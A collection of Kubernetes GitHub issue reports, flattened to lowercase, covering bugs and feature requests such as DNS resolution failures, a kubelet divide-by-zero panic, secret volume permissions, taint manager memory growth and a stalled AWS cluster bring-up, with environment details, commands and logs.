>  \r \r   what happened  :\r according to  1.9 changelog  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.9.md apps  deployment has been promoted to ga stability in the apps/v1 group version. \r \r but kubectl get deployment still use \ extensions/v1beta1\  version because of in the http://apiserver/apis endpoint groups.1.preferredversion.groupversion = \ extensions/v1beta1\  comes before groups.2.preferredversion.groupversion = \ apps/v1\ . \r \r also kubectl run command still using deployment/v1beta1 as default generator.\r \r i expected that all kubectl deployment commands use apps/v1 version for deployment.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r - cloud provider or hardware configuration: gke - v1.9.2-gke.1\r - os  e.g. from /etc/os-release : mac os\r - kernel  e.g.  uname -a  : darwin

is this a bug report or feature request?  :\r  \r   what happened  :\r one of the use cases for  secret  is to store ssh keys, but as far as i can tell we cannot set the directory permissions on a mounted secret volume. by default openssh requires the  ~/.ssh  directory to be not world writable, thus making it impossible to start  sshd  without turning off  strictmodes .\r \r   what you expected to happen  :\r allow setting the directory modes on a mounted secret volume.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i created a simple test to show running openssh server and client on k8s: https://github.com/rongou/k8s-openssh.\r \r this line shows we have to turn off  strictmodes  to make it work: https://github.com/rongou/k8s-openssh/blob/master/openssh-test.yaml l26\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.9.3\r \r - cloud provider or hardware configuration:\r desktop cluster set up using  kubeadm \r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux rou 4.13.0-36-generic  40~16.04.1-ubuntu smp fri feb 16 23:25:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm\r \r - others:\r

dns resolution is failing for internal kubernetes service and all the other external hostnames.\r \r   what happened  :\r   nslookup kubernetes is failing\r   kubectl run -i --tty ubuntu --image=ubuntu --restart=never -- sh\r   apt-get update\r err:1 http://archive.ubuntu.com/ubuntu bionic inrelease                  \r   temporary failure resolving 'archive.ubuntu.com'\r err:2 http://security.ubuntu.com/ubuntu bionic-security inrelease        \r   temporary failure resolving 'security.ubuntu.com'\r \r   kubectl run -i --tty busybox --image=busybox --restart=never -- sh\r /   nslookup kubernetes\r server:    10.96.0.10\r address 1: 10.96.0.10\r \r nslookup: can't resolve 'kubernetes'\r /  \r \r   what you expected to happen  :\r dns resolution have to done successfully.\r \r   how to reproduce it   :\r following commands for both the worker and master node:\r apt update\r apt-get install apt-transport-https -y\r apt install docker.io -y\r systemctl start docker\r systemctl enable docker\r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -\r echo \ deb http://apt.kubernetes.io/ kubernetes-xenial main\  > /etc/apt/sources.list.d/kubernetes.list\r apt-get  update\r apt-get install -y kubelet kubeadm kubectl kubernetes-cni\r cat <<eof >  /etc/sysctl.d/k8s.conf\r net.bridge.bridge-nf-call-ip6tables = 1\r net.bridge.bridge-nf-call-iptables = 1\r eof\r sysctl --system\r \r master node:\r kubeadm init --pod-network-cidr 10.244.0.0/16\r kubectl get pods --all-namespaces\r kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.9.1/documentation/kube-flannel.yml\r kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.9.1/documentation/k8s-manifests/kube-flannel-rbac.yml\r \r worker node:\r kubeadm join command\r \r root@ip-30-0-20-221:~  kubectl get pod --all-namespaces -o=wide\r namespace     name                                     ready     status    restarts   age       ip            node\r default       busybox                                  0/1       error     0          8m        10.244.1.3    ip-30-0-20-74\r default       nginx-5c94b9544b-dh4lw                   1/1       running   0          8m        10.244.1.2    ip-30-0-20-74\r default       ubuntu                                   0/1       error     0          5m        10.244.1.5    ip-30-0-20-74\r kube-system   etcd-ip-30-0-20-221                      1/1       running   0          11m       30.0.20.221   ip-30-0-20-221\r kube-system   kube-apiserver-ip-30-0-20-221            1/1       running   0          11m       30.0.20.221   ip-30-0-20-221\r kube-system   kube-controller-manager-ip-30-0-20-221   1/1       running   0          12m       30.0.20.221   ip-30-0-20-221\r kube-system   kube-dns-86f4d74b45-2whl8                3/3       running   0          12m       10.244.0.2    ip-30-0-20-221\r kube-system   kube-flannel-ds-8mscq                    1/1       running   0          9m        30.0.20.74    ip-30-0-20-74\r kube-system   kube-flannel-ds-mmtmk                    1/1       running   0          12m       30.0.20.221   ip-30-0-20-221\r kube-system   kube-proxy-5ln97                         1/1       running   0          12m       30.0.20.221   ip-30-0-20-221\r kube-system   kube-proxy-mwr8f                         1/1       running   0          9m        30.0.20.74    ip-30-0-20-74\r kube-system   kube-scheduler-ip-30-0-20-221            1/1       running   0          12m       30.0.20.221   ip-30-0-20-221\r \r root@ip-30-0-20-221:~  kubectl get service --all-namespaces -o=wide\r namespace     name         type        cluster-ip      external-ip   port s           age       selector\r default       kubernetes   clusterip   10.96.0.1       <none>        443/tcp          13m       <none>\r default       nginx        nodeport    10.103.72.188   <none>        4000:30400/tcp   8m        app=nginx,env=qa\r kube-system   kube-dns     clusterip   10.96.0.10      <none>        53/udp,53/tcp    13m       k8s-app=kube-dns\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version :\r root@ip-30-0-20-221:~   kubectl version \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws\r - os :\r root@ip-30-0-20-221:~  cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel :\r root@ip-30-0-20-221:~  uname -a\r linux ip-30-0-20-221 4.4.0-1060-aws  69-ubuntu smp sun may 20 13:42:07 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report   yes\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r kubelet will not run while following docs,\r \r https://kubernetes.io/docs/setup/independent/install-kubeadm/\r \r   what you expected to happen  :\r \r kubelet runs as per install instructions.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r following doc on 3 machines gives the same result, kubelet will not start on any of them.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r vmware instances\r - os  e.g. from /etc/os-release :\r rhel7.5\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r - change one of loadbalancer service in azure from externaltrafficpolicy: cluster to externaltrafficpolicy: local make any request that sends to this loadbalancer to be timeout completely \r - switch it back to cluster will have the loadbalancer working fine and receive traffic again\r \r \r   what you expected to happen  :\r loadbalancer should still receive traffic just fine\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  spin up a kubernetes cluster with azure to be the cloud provider\r 2  create a kubernetes service with type loadbalancer\r 3  configure  externaltrafficpolicy  to be local\r 4  try to use curl to send request to this loadbalancer\r 5  receive timeout \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.7\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.15.0-1025-azure\r - install tools: acs-engine \r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r add more logging in azure disk attach/detach\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

kubelet panic with the following error:\r \r    \r panic: runtime error: integer divide by zero\r \r goroutine 248  running :\r k8s.io/kubernetes/pkg/kubelet/stats.  cristatsprovider .getcontainerusagenanocores 0xc000235560, 0xc00130ebc0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/stats/cri_stats_provider.go:548 +0x1a5\r k8s.io/kubernetes/pkg/kubelet/stats.  cristatsprovider .makecontainerstats 0xc000235560, 0xc00130ebc0, 0xc000cf4a20, 0xc0000b9800, 0xc0016d0fd8, 0xc000d330e0, 0x24, 0x1 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/stats/cri_stats_provider.go:454 +0x259\r k8s.io/kubernetes/pkg/kubelet/stats.  cristatsprovider .listpodstats 0xc000235560, 0x2e3628b, 0xc000235560, 0xc000ec0af0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/stats/cri_stats_provider.go:160 +0x85d\r k8s.io/kubernetes/pkg/kubelet/server/stats.  summaryproviderimpl .get 0xc0002da8c0, 0xc000158d01, 0xc000ee4528, 0x1, 0x1 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/summary.go:86 +0x41f\r k8s.io/kubernetes/pkg/kubelet/eviction.  managerimpl .synchronize 0xc000371600, 0x413ee20, 0xc000902f00, 0xc000839ac0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/eviction_manager.go:241 +0x128\r k8s.io/kubernetes/pkg/kubelet/eviction.  managerimpl .start.func2 0xc000371600, 0x413ee20, 0xc000902f00, 0xc000839ac0, 0xc000839ad0, 0x2540be400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/eviction_manager.go:186 +0x60\r created by k8s.io/kubernetes/pkg/kubelet/eviction.  managerimpl .start\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/eviction_manager.go:184 +0x1f9\r    \r \r the relevant lines are this: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/stats/cri_stats_provider.go l547-l548\r \r basically, this value:\r \r  nanoseconds := stats.cpu.timestamp - cached.timestamp \r \r can, in some conditins, be 0\r \r   environment  :\r - build from master   v1.15.0-alpha.0.327+139a13d312b1b1  :\r - cloud provider or hardware configuration: azure\r - os: windows server 2019\r - others: issue was observed while running conformance tests on windows clusters.\r

kubectl --username=... --password=...  have worked since 1.0 as a way to pass basic auth credentials to the api server.\r \r in 1.11, these flags were unintentionally removed in https://github.com/kubernetes/kubernetes/commit/3ca222b2d951b95deb825c7f62f6c1a446acf908 diff-d1745d70bc28d1ce59e3f8df9512084fr271\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubectl 1.11+\r \r  

<h1>\r when created ingress in kube admin cluster address  external ip  not pick up\r any one please help me\r thank you </h1>\r installed in bare metal server os: centos 7

i0215 16:27:02.388241   27779 hairpin.go:51  unable to find pair interface, setting up all interfaces: unable to query interface eth0 of container 15628: exit status 1: nsenter: cannot open /proc/15628/ns/net: no such file or directory i0215 16:27:02.389035   27779 hairpin.go:99  enabling hairpin on interface lo i0215 16:27:02.389175   27779 hairpin.go:99  enabling hairpin on interface eno1 i0215 16:27:02.389211   27779 hairpin.go:99  enabling hairpin on interface virbr2 i0215 16:27:02.389268   27779 hairpin.go:99  enabling hairpin on interface virbr2-nic i0215 16:27:02.389516   27779 hairpin.go:99  enabling hairpin on interface virbr1 i0215 16:27:02.391329   27779 hairpin.go:99  enabling hairpin on interface virbr1-nic i0215 16:27:02.391387   27779 hairpin.go:99  enabling hairpin on interface virbr0 i0215 16:27:02.391440   27779 hairpin.go:99  enabling hairpin on interface virbr0-nic i0215 16:27:02.391565   27779 hairpin.go:99  enabling hairpin on interface virbr4 i0215 16:27:02.391651   27779 hairpin.go:99  enabling hairpin on interface virbr4-nic i0215 16:27:02.391759   27779 hairpin.go:99  enabling hairpin on interface virbr3 i0215 16:27:02.392191   27779 hairpin.go:99  enabling hairpin on interface virbr3-nic i0215 16:27:02.392405   27779 hairpin.go:99  enabling hairpin on interface docker0 i0215 16:27:02.392498   27779 hairpin.go:99  enabling hairpin on interface cbr0 i0215 16:27:02.392552   27779 hairpin.go:99  enabling hairpin on interface veth31932af  this seems pretty wrong...

e.g. an image built from a dockerfile specifying\r    \r user nobody:nobody\r    \r \r should be permitted to run with a security context  runasnonroot: true \r \r /cc @kubernetes/sig-node-bugs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.0-beta.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : ubuntu 16.04 xenial\r -   kernel    e.g.  uname -a  : linux node1 4.4.0-53-generic  74-ubuntu smp fri dec 2 15:59:10 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubefed\r -   others  : n/a\r \r \r   what happened  :\r coredns federation provider uses etcd as a backend, but it does not support tls etcd connection options\r https://github.com/kubernetes/kubernetes/blob/master/federation/pkg/dnsprovider/providers/coredns/coredns.go l73\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r it should support options for certfile, keyfile, and cafile.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/3097/ failed:  k8s.io  hostpath should support r/w  volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/host_path.go:82 expected error:     < errors.errorstring | 0xc42115f9b0>: {         s: \ expected pod \\\ pod-host-path-test\\\  success: pod \\\ pod-host-path-test\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-04-11 09:20:13 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-04-11 09:20:13 +0000 utc reason:containersnotready message:containers with unready status:  test-container-1 test-container-2 } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-04-11 09:20:13 +0000 utc reason: message:}  message: reason: hostip:10.128.0.33 podip:10.180.0.57 starttime:2017-04-11 09:20:13 +0000 utc initcontainerstatuses:   containerstatuses: {name:test-container-1 state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:0,signal:0,reason:completed,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-04-11 09:20:13 +0000 utc,containerid:docker://527bedec317a5f313fff7ce5e528c070925f0d238d230a704152cdc68888e51f,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.8 imageid:docker-pullable://gcr.io/google_containers/mounttest@sha256:bec3122ddcf8bd999e44e46e096659f31241d09f5236bc3dc212ea584ca06856 containerid:docker://527bedec317a5f313fff7ce5e528c070925f0d238d230a704152cdc68888e51f} {name:test-container-2 state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-04-11 09:23:13 +0000 utc,containerid:docker://7817251c15883f22506106ba1e15d87ac813f3e39cda4756b090c00d693e7825,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.8 imageid:docker-pullable://gcr.io/google_containers/mounttest@sha256:bec3122ddcf8bd999e44e46e096659f31241d09f5236bc3dc212ea584ca06856 containerid:docker://7817251c15883f22506106ba1e15d87ac813f3e39cda4756b090c00d693e7825}  qosclass:besteffort}\ ,     }     expected pod \ pod-host-path-test\  success: pod \ pod-host-path-test\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-04-11 09:20:13 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-04-11 09:20:13 +0000 utc reason:containersnotready message:containers with unready status:  test-container-1 test-container-2 } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-04-11 09:20:13 +0000 utc reason: message:}  message: reason: hostip:10.128.0.33 podip:10.180.0.57 starttime:2017-04-11 09:20:13 +0000 utc initcontainerstatuses:   containerstatuses: {name:test-container-1 state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:0,signal:0,reason:completed,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-04-11 09:20:13 +0000 utc,containerid:docker://527bedec317a5f313fff7ce5e528c070925f0d238d230a704152cdc68888e51f,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.8 imageid:docker-pullable://gcr.io/google_containers/mounttest@sha256:bec3122ddcf8bd999e44e46e096659f31241d09f5236bc3dc212ea584ca06856 containerid:docker://527bedec317a5f313fff7ce5e528c070925f0d238d230a704152cdc68888e51f} {name:test-container-2 state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-04-11 09:23:13 +0000 utc,containerid:docker://7817251c15883f22506106ba1e15d87ac813f3e39cda4756b090c00d693e7825,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.8 imageid:docker-pullable://gcr.io/google_containers/mounttest@sha256:bec3122ddcf8bd999e44e46e096659f31241d09f5236bc3dc212ea584ca06856 containerid:docker://7817251c15883f22506106ba1e15d87ac813f3e39cda4756b090c00d693e7825}  qosclass:besteffort} not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2213       previous issues for this test:  40811

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r there is no ut for pkg/kubectl/deployment.go\r \r 

>  \r   what happened  :\r  kubectl run --pod-running-timeout=1m0s  doesn't wait for pods to appear not by default, not explicitly:\r \r       --pod-running-timeout=1m0s: the length of time  like 5s, 2m, or 3h, higher than zero  to\r     wait until at least one pod is running\r \r   what you expected to happen  :\r expect it to pause until at least one pod is available.\r \r   how to reproduce it  as minimally and precisely as possible   :\r get it into the shell script:\r    \r minikube start --vm-driver=kvm\r kubectl run kubermarkets --image=cybernode/cm-app --port=80 --pod-running-timeout=1m0s\r kubectl get pods\r    \r there are no 1m pauses, and the output is the following\r    \r ...\r kubectl is now configured to use the cluster.\r replicationcontroller \ kubermarkets\  created\r no resources found.\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t00:12:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : \ fedora 26  workstation edition \ \r - kernel  e.g.  uname -a  :  4.12.9-300.fc26.x86_64  1 smp fri aug 25 13:09:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

 \r sometimes we need to disable ssl redirect for specified path  httpingresspath  in ingress. \r there is no way to do it :

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r bug https://github.com/kubernetes/kubernetes/issues/56081 thought that pd allocates in gb, perhaps based on the api definition which says gb, but didn't define what gb actually is.  but actually, pd allocates in gib.\r \r i manually created a pd in gb, and manually attached it to a node:\r    \r $ gcloud compute disks create msau-test --zone=us-central1-b --size=1gb\r    \r \r ran lsblk on it, and it shows the bytes of the disk are 1gib:\r    \r $ lsblk -b\r sdc       8:32   0  1073741824  0 disk \r    \r \r   what you expected to happen  :\r i think we need to revert https://github.com/kubernetes/kubernetes/pull/56600  and maybe a few other e2e changes that went in afterwards , and make sure the gce cloud provider returns disk size in gib.\r

we're seeing an issue with large memory growth in noexecutetaintmanager when pods with tolerations are rapidly created/deleted.\r \r the item added to the workqueue contains the full pod objects received from the informer:\r https://github.com/kubernetes/kubernetes/blob/23b4690d00670102fb319c0546262ebd083cf110/pkg/controller/nodelifecycle/scheduler/taint_manager.go l301-l307\r \r that means those pod objects are retained until they are processed. additionally, it looks like the processing loop never removed the keys from the workqueue when it was done.\r \r it also means that multiple updates for the same pod result in multiple items in the workqueue, rather than enqueuing the pod to be processed once, like other controllers do.\r \r simplifying this controller to enqueue pod updates only by name/namespace, and operate on the latest pod obtained from the store  like other controllers do  would speed up the processing and relieve the memory burden of the workqueue.\r \r  /cc @mfojtik @wojtek-t

now that our pv support is greatly improved, we should see whether it is now possible to back es with persistent volumes.  not having pvs makes it too easy to es to get into a weird state when it loses the leader.

we need ssl support for services on aws.  right now we don't have a working example, and we don't support ssl on elbs  we will actively remove any certificates .  we should either figure out a nice example using ingress, or support offloading to elb.

do the existing e2e tests fail if a node panicked during the test?  we are seeing issues like  30706, which makes me think we might not be detecting this.  it is actually surprisingly difficult to tell that a node has panicked with k8s, because k8s self-heals very quickly.  also, i haven't yet figured out how to get a kernel panic into journald  on aws , so the only place to see them is on the aws console output.  but hopefully they would just be in the syslog on containervm.  a simple way to detect this is to look at the uptime of the nodes.

currently we dont test kubectl with federation apiserver. all our e2e tests directly use the clientset to send requests to the apiserver.  we need to setup these kubectl tests  cc @kubernetes/sig-cluster-federation

when i run cluster/kube-up.sh it loops on waiting for cluster initialization. i was tried to spin up a cluster in us-west-1, us-west-2, eu-west-1 several times and no result. there is output from a startup script:      $ export kube_aws_zone=eu-west-1a $ export num_nodes=3 $ export kube_aws_instance_prefix=test $ export master_size=m3.medium $ export node_size=t2.medium $ export kubernetes_provider=aws $ ./cluster/kube-up.sh ... starting cluster in eu-west-1a using provider aws ... calling verify-prereqs ... calling kube-up starting cluster using os distro: jessie uploading to amazon s3 creating kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586 make_bucket: s3://kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586/ confirming bucket was created... +++ staging server tars to s3 storage: kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586/devel upload: ../../tmp/kubernetes.bj5oaa/s3/bootstrap-script to s3://kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586/devel/bootstrap-script upload: ../../tmp/kubernetes.bj5oaa/s3/kubernetes-salt.tar.gz to s3://kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586/devel/kubernetes-salt.tar.gz upload: ../../tmp/kubernetes.bj5oaa/s3/kubernetes-server-linux-amd64.tar.gz to s3://kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586/devel/kubernetes-server-linux-amd64.tar.gz  uploaded server tars:   server_binary_tar_url: https://s3.amazonaws.com/kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586/devel/kubernetes-server-linux-amd64.tar.gz   salt_tar_url: https://s3.amazonaws.com/kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586/devel/kubernetes-salt.tar.gz   bootstrap_script_url: https://s3.amazonaws.com/kubernetes-staging-17d502113db4ff6c4fb9c4b42955c586/devel/bootstrap-script instanceprofile arn:aws:iam::333659885792:instance-profile/kubernetes-master    2016-07-28t10:52:30z    aipaj2espvltf7usvisqi   kubernetes-master   / roles   arn:aws:iam::333659885792:role/kubernetes-master    2016-07-28t10:52:29z    /   aroajgf5waav5ofwykbhw   kubernetes-master assumerolepolicydocument    2012-10-17 statement   sts:assumerole  allow principal   ec2.amazonaws.com instanceprofile arn:aws:iam::333659885792:instance-profile/kubernetes-minion    2016-08-04t08:41:10z    aipajyjlztingni4rfbly   kubernetes-minion   / roles   arn:aws:iam::333659885792:role/kubernetes-minion    2016-08-04t08:41:10z    /   aroaiwubqvyhyhtsseh6c   kubernetes-minion assumerolepolicydocument    2012-10-17 statement   sts:assumerole  allow principal   ec2.amazonaws.com generating public/private rsa key pair. your identification has been saved in /root/.ssh/kube_aws_rsa. your public key has been saved in /root/.ssh/kube_aws_rsa.pub. the key fingerprint is: 25:a6:8e:4f:79:2f:75:bf:55:6e:68:c6:7a:35:28:a9 root@ip-172-31-12-179 the key's randomart image is: +--- rsa 2048 ----+ |                 | |                 | |        o .      | |       o o       | |      . s   . . .| |     o .  .o.o +o| |    . + ......=.=| |     o ..e   +oo | |      .  .. .... | +-----------------+ using ssh key with  aws  fingerprint: 25:a6:8e:4f:79:2f:75:bf:55:6e:68:c6:7a:35:28:a9 using vpc vpc-55137031 adding tag to dopt-c7f311a3: name=kubernetes-dhcp-option-set adding tag to dopt-c7f311a3: kubernetescluster=test using dhcp option set dopt-c7f311a3 using existing subnet with cidr 172.20.0.0/24 using subnet subnet-0a43046e creating internet gateway. using internet gateway igw-9dc42bf9 associating route table. creating route table adding tag to rtb-da9cb4be: kubernetescluster=test associating route table rtb-da9cb4be to subnet subnet-0a43046e adding route to route table rtb-da9cb4be using route table rtb-da9cb4be creating master security group. creating security group kubernetes-master-test. adding tag to sg-80b072e6: kubernetescluster=test creating minion security group. creating security group kubernetes-minion-test. adding tag to sg-8cb072ea: kubernetescluster=test using master security group: kubernetes-master-test sg-80b072e6 using minion security group: kubernetes-minion-test sg-8cb072ea creating master disk: size 20gb, type gp2 adding tag to vol-1f19bb9d: name=test-master-pd adding tag to vol-1f19bb9d: kubernetescluster=test allocated elastic ip for master: 52.49.10.199 adding tag to vol-1f19bb9d: kubernetes.io/master-ip=52.49.10.199 generating certs for alternate-names: ip:52.49.10.199,ip:172.20.0.9,ip:10.0.0.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local,dns:test-master starting master adding tag to i-ac1ca727: name=test-master adding tag to i-ac1ca727: role=test-master adding tag to i-ac1ca727: kubernetescluster=test waiting for master to be ready attempt 1 to check for master nodewaiting for instance i-ac1ca727 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-ac1ca727 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-ac1ca727 to be running  currently pending  sleeping for 3 seconds...   master running  attaching ip 52.49.10.199 to instance i-ac1ca727 attaching persistent data volume  vol-1f19bb9d  to master 2016-10-19t09:41:18.422z    /dev/sdb    i-ac1ca727  attaching   vol-1f19bb9d cluster \ aws_test\  set. user \ aws_test\  set. context \ aws_test\  set. switched to context \ aws_test\ . user \ aws_test-basic-auth\  set. wrote config for aws_test to /root/.kube/config creating minion configuration creating autoscaling group  0 minions started; waiting  0 minions started; waiting  0 minions started; waiting  0 minions started; waiting  3 minions started; ready waiting for cluster initialization.    this will continually check to see if the api for kubernetes is reachable.   this might loop forever if there was some uncaught error during start   up.  ..............................................................................................................................................................................................^c          